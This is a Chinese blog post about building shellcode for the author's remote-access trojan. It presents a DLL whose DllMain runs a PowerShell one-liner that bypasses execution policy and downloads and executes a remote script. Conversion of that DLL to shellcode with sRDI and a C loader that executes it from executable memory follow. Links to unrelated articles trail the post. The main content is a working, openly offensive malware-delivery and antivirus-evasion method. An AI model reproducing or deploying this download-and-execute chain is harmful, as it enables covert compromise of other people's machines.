任意Exe转ShellCode?
之前写过一个远控,但一直在琢磨如何生成shellcode,今天偶然看见一个项目:sRDI,github上就有
这个项目主要就是将dll转成shellcode,于是我就想到了“写一个输出文件的dll,然后将这个dll转成shellcode不就好了吗?”
测试了一下,真行得通,但是拿到了shellcode并没有什么用,就算静态绕过了动态还是过不去,释放文件的一瞬间就被杀了,没有任何用处……
脑子一抽,我又想到了个方法,“写个注入exe到其他进程的dll不就好了吗?”
但是后期实现的时候才发现注入exe到其他进程是个高级的操作,写起来比较麻烦(我不会
于是乎,想到了另外一种歪门邪道的方法:
正文开始
GitHub - yanncam/exe2powershell: exe2powershell - exe2bat reborn for modern Windows
这个项目可以将一个exe转换成.ps1的powershell脚本,将生成的powershell脚本上传到任意空间/服务器,然后写一个执行一句话木马的dll就好啦(也可以使用其他exe不落地执行的方法代替,步骤一样,还是要上传到空间或服务器,反正能直接访问获取到内容就行了)
#include <windows.h>
using namespace std;
void powershell() {
system("PowerShell.exe -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString('http://ip/filename.ps1')");//执行powershell一句话木马
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved) {
switch(fdwReason) {
case DLL_PROCESS_ATTACH: {
powershell();
}
case DLL_PROCESS_DETACH: {
break;
}
case DLL_THREAD_ATTACH: {
powershell();
}
case DLL_THREAD_DETACH: {
break;
}
}
return TRUE;
}
创建一个dll项目,将代码复制进去,编译,然后使用sRDI将其转换成shellcode就好了
python ConvertToShellcode.py -i -c name.dll
在\sRDI-master\Python\文件夹中打开cmd输入命令,回车后就会发现文件夹下多出了一个name.bin,这时候基本上大功告成啦!
扩展补充
可以使用winhex等工具将生成好的.bin文件转成.c代码或其他语言的代码,如果直接调用bin文件的话是多文件,实战中不太方便
C语言Shellcode加载器
#include <windows.h>
int main(){
unsigned char shellcode[] = { };//输入你的c语言格式的shellcode
// Allocate memory for shellcode
LPVOID lpShellcode = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpShellcode == NULL)return 0;
// Copy shellcode to allocated memory
memcpy(lpShellcode, shellcode, sizeof(shellcode));
// Execute shellcode
((void(*)())lpShellcode)();
// Free allocated memory
VirtualFree(lpShellcode, 0, MEM_RELEASE);
return 0;
}
任意Exe转ShellCode?的更多相关文章
- 把任意exe程序注册成windows系统服务
某gae代理软件每次开机都需要手动启动,就算添加成开机启动项,在win8.1下权限的管理更加严格,开机时并不能成功启动软件(无人值守时开机),因此在网上搜索把exe注册成系统服务的办法,找到论坛两个帖 ...
- BS项目启动任意EXE文件或者CS项目
1. 基于注册表启动exe程序 1. 桌面新建注册表执行文件:protocal.reg 2. 任意文本编辑器打开该文件 Windows Registry Editor Version 5.00 [HK ...
- 怎样把任意exe程序注册成windows系统服务(手动注册服务)
1. 要实现这个功能要用到微软提供的两个小工具“instsrv.exe”和“srvany.exe”(下载地址:http://www.cr173.com/soft/64394.html). 先下载这两个 ...
- 使用NSSM把任意exe程序注册成Windows服务
1.登录NSSM官网下载最新版本: http://www.nssm.cc/download 2.解压之后可以看到win32和win64位的nssm.exe,根据自己的电脑选择使用 3.拷贝一份nssm ...
- [原创]Python免杀ShellCode加载器(Cobaltstrike/Metasploit)
0x001 原理 采用分离法,即将ShellCode和加载器分离.方法较LOW但免杀. 本文主要将ShellCode转成HEX,再通过加载器执行ShellCode. PS: 何为SC加载器,即专门用于 ...
- 把exe注册为windows服务
1.需要工具 Instsrv.exe(可以给系统安装和删除服务) Srvany.exe(可以让程序以服务的方式运行) 2.运行cmd,输入注册服务命令 "instsrv.exe完整路径&qu ...
- 那些shellcode免杀总结
首发先知: https://xz.aliyun.com/t/7170 自己还是想把一些shellcode免杀的技巧通过白话文.傻瓜式的文章把技巧讲清楚.希望更多和我一样web狗也能动手做到免杀的实现. ...
- The Honeynet ProjectThe Honeynet Project
catalogue . 蜜罐基本概念 . Kippo: SSH低交互蜜罐安装.使用 . Dionaea: 低交互式蜜罐框架部署 . Thug . Amun malware honeypots . Gl ...
- OD: ASLR
ASLR,Address Space Layout Randomization,通过加载程序的时候不再使用固定的基址,从而干扰 shellcode 定位的一种保护机制,包括映像随机化.堆栈随机化.PE ...
- 我的第一个RootKit,支持XP、Vista、Win7、Win8 RTM 32位
只有写过一个BootKit,才能比较深刻的理解其整个过程与机制,也能加深对Windows系统引导各个过程的熟悉和理解. 我写的这个bootkit,暂时还没想到一个比较好的名字,它 1. 支持xp到w ...
随机推荐
- centos7.6镜像
centos7.6镜像 https://archive.kernel.org/centos-vault/7.6.1810/isos/x86_64/
- vue 3.0 引入swiper 8 direction不生效
需要手动给元素高度 <swiper class="my-swiper" :modules="modules" ...
- microbit问题记录
问题: 1.电子罗盘东南西北:不太好用 2. micropython代码:震动.声音显示不对 makecode代码:声音不好用 已解决: 1.摇杆下和左不管用了(已解决:改软件包代码) 2.ma ...
- k8s 部署单点 rabbitmq
创建pvc vim rabbitmq-pvc.yaml kind: PersistentVolumeClaim apiVersion: v1 metadata: name: rabbitmq-data ...
- 多文件下载并打成zip文件传输到浏览器响应流
import lombok.extern.slf4j.Slf4j; import javax.servlet.http.HttpServletResponse; import java.io.*; i ...
- MacOS 使用UnblockNeteaseMusic解锁网易云灰色歌曲(主要是想听杰伦)
最近想听杰伦的音乐 但是网易云木有版权 于是在github上找到了UnblockNeteaseMusic这个项目 不多废话 直接上教程! 第一步 找到该项目的地址 并使用git克隆到本地: https ...
- jquery的ajax方法获取不到return返回值
/** 2 * 方式:(1)同步调用 (2)在ajax函数中return值 3 * 结果:返回 1.未成功获取返回值 4 * 失败原因:ajax内部是一个或多个定义的函数,ajax中return返回值 ...
- Laravel安装第一步:Windows 10 上laravel下载与安装需要注意。
1.下载了laravel,查看composer.json文件,搞清楚它需要的PHP版本 2.不要用 composer install !!! 用 composer -vvv install 这样 ...
- java 通过反射以及MethodHandle执行泛型参数的静态方法
开发过程中遇到一个不能直接调用泛型工具类的方法,因此需要通过反射来摆脱直接依赖. 被调用静态方法示例 public class test{ public static <T> T get( ...
- Fastboot_Cmd
/* -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- */adb命令:/* -*-* ...